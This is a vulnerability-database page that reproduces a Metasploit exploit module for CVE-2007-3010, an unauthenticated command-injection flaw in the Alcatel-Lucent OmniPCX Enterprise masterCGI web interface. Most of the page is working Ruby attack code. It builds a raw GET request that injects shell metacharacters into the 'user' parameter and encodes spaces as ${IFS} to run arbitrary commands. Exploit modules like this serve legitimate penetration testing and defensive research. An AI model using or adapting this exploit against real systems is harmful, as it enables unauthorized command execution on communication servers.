Lucene search
K

Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution

🗓️ 01 Sep 2009 03:43:16Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

Alcatel-Lucent OmniPCX Enterprise metacharacter injection vulnerability in HTTP management interfac

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Only interactive single commands supported

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
        Communication Server 7.1 and earlier. The Unified Maintenance Tool
        contains a 'masterCGI' binary which allows an unauthenticated attacker
        to execute arbitrary commands by specifying shell metacharaters as the
        'user' within the 'ping' action to obtain 'httpd' user access. This
        module only supports command line payloads, as the httpd process kills
        the reverse/bind shell spawn after the HTTP 200 OK response.
      },
      'Author'         => [ 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '40521' ],
          [ 'BID', '25694' ],
          [ 'CVE', '2007-3010' ],
          [ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2007-09-09'))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ])
  end

  def exploit
    connect

    cmd = payload.encoded.gsub(" ", '${IFS}')
    req =
      "GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
      "Host: #{rhost}\r\n\r\n"

    print_status("Sending GET request with command line payload...")
    sock.put(req)

    res = sock.get_once(-1, 5)

    if (res =~ /<h5>(.*)<\/h5>/smi)
      out = $1
      print_line(out.gsub(/<h5>|<\/h5>/, ''))
      return
    end

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation